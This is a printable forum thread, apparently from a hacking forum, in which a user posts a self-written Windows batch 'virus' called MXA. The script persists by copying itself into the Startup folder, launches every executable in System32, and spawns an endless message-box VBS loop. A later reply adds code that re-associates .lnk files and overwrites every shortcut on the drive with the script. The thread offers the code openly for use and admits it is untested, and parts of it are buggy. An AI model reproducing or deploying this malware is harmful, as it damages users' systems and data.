Shell Batch Malware & Virus Script (Created By Me) Virus Name=("MXA") - Printable Version

[Shell] Batch Malware & Virus Script (Created By Me) Virus Name=("MXA") - Printable Version

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+---- Thread: [Shell] Batch Malware & Virus Script (Created By Me) Virus Name=("MXA") (/showthread.php?tid=2168359)

Batch Malware & Virus Script (Created By Me) Virus Name=("MXA") - Motioncity13 - Jan 31, 2012

So here's a little virus/malware type code i did using batch, I haven't tested it yet, but i can have a video demonstration of it by tomorrow night. Let me know what you think of the code and if you can test it that'd be great! :)
For the n00blets, This code does:
ΦCopying itself to the Startup directory of the current user.
ΦStarting every exe file in C:\Windows\System32
ΦMaking a Visual Basic Script that creates a never-ending message box.

Code 
@echo off 

REM HACKFORUMS.NET

REM HACKFORUMS.NET

REM HACKFORUMS.NET

REM HACKFORUMS.NET

REM HACKFORUMS.NET

if not "%cd%"=="%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" goto er1

if "%cd%"=="%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" goto aftermath

:er1

if not "%cd%"=="%userprofile%\Start Menu\Programs\Startup" goto er2

if "%cd%"=="%userprofile%\Start Menu\Programs\Startup" goto aftermath

:er2

if not exist "%userprofile%\Start Menu" goto vista7

if not exist "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" goto xp

:xp

if not exist "%userprofile%\Start Menu\Programs\Startup" call :copyxp

:vista7

if not exist "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" call copyvista7

:aftermath

if exist x390.vbs del x390.vbs

:startcode

cd\windows\system32

for /F %%i IN ('dir /b *.exe') DO start %%i

echo Do > x390.vbs

echo a=msgbox("EXE PWNED BY MC13",16,"HAHAHAH") >> x390.vbs

echo Loop >> x390.vbs

start x390.vbs

:e

exit

:copyvista7

copy "%0" "%userprofile%\Start Menu\Programs\Startup"

goto aftermath

:copyxp

copy "%0" "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

goto aftermath

EDIT*: I'm going to be adding a lot more to this code, obv.

* - iGnite - Feb 1, 2012

You should make it infect a few specific binary files; for example Firefox, iTunes, and Skype. Or more specifically make it infect a category of software, for example Instant Messengers, Games, and Web Browsers.

* - Motioncity13 - Feb 1, 2012

(Feb 1, 2012 02:46 AM)iGnite Wrote: You should make it infect a few specific binary files; for example Firefox, iTunes, and Skype. Or more specifically make it infect a category of software, for example Instant Messengers, Games, and Web Browsers.

Code 
assoc .lnk=BatFile

DIR /S/B "%SystemDrive%\*.lnk" >> lnkfile.txt

echo Y | FOR /F "tokens=1,* delims=: " %%j in (lnkfile.txt) do copy /y %0 "%%j:%%k"

I think that should do it :] Infects LNK files:] replace "*.lnk in the second line with whatever extension you want:]